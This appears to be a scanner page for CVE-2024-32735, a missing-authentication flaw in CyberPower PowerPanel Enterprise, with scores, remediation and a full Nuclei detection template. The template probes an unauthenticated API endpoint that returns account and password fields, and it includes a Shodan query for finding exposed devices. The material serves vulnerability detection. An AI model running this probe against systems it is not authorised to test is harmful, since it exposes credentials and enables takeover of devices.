CyberPower - Missing Authentication

criticalseverity

9.8CVSS score

6.8%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

An issue regarding missing authentication for certain utilities exists in CyberPower PowerPanel Enterprise prior to v2.8.3.

Impact

An unauthenticated remote attacker can access the PDNU REST APIs, which may result in compromise of the application.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api/v1/devices
Positive when: contains "\"account\":" and "\"passwd\":" and "status\":\"success" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-32735 -u <target>

The full check

id: CVE-2024-32735

info:
  name: CyberPower - Missing Authentication
  author: DhiyaneshDK
  severity: critical
  description: |
    An issue regarding missing authentication for certain utilities exists in CyberPower PowerPanel Enterprise prior to v2.8.3.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    An unauthenticated remote attacker can access the PDNU REST APIs, which may result in compromise of the application.
  reference:
    - https://www.cyberpower.com/global/en/File/GetFileSampleByType?fileId=SU-18070002-07&fileSubType=FileReleaseNote
    - https://www.tenable.com/security/research/tra-2024-14
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32735
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-32735
    cwe-id: CWE-306
    epss-score: 0.06765
    epss-percentile: 0.94032
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"<title>PDNU</title>"
  tags: cve,cve2024,cyberpower,auth-bypass,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/devices"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"account":'
          - '"passwd":'
          - 'status":"success'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from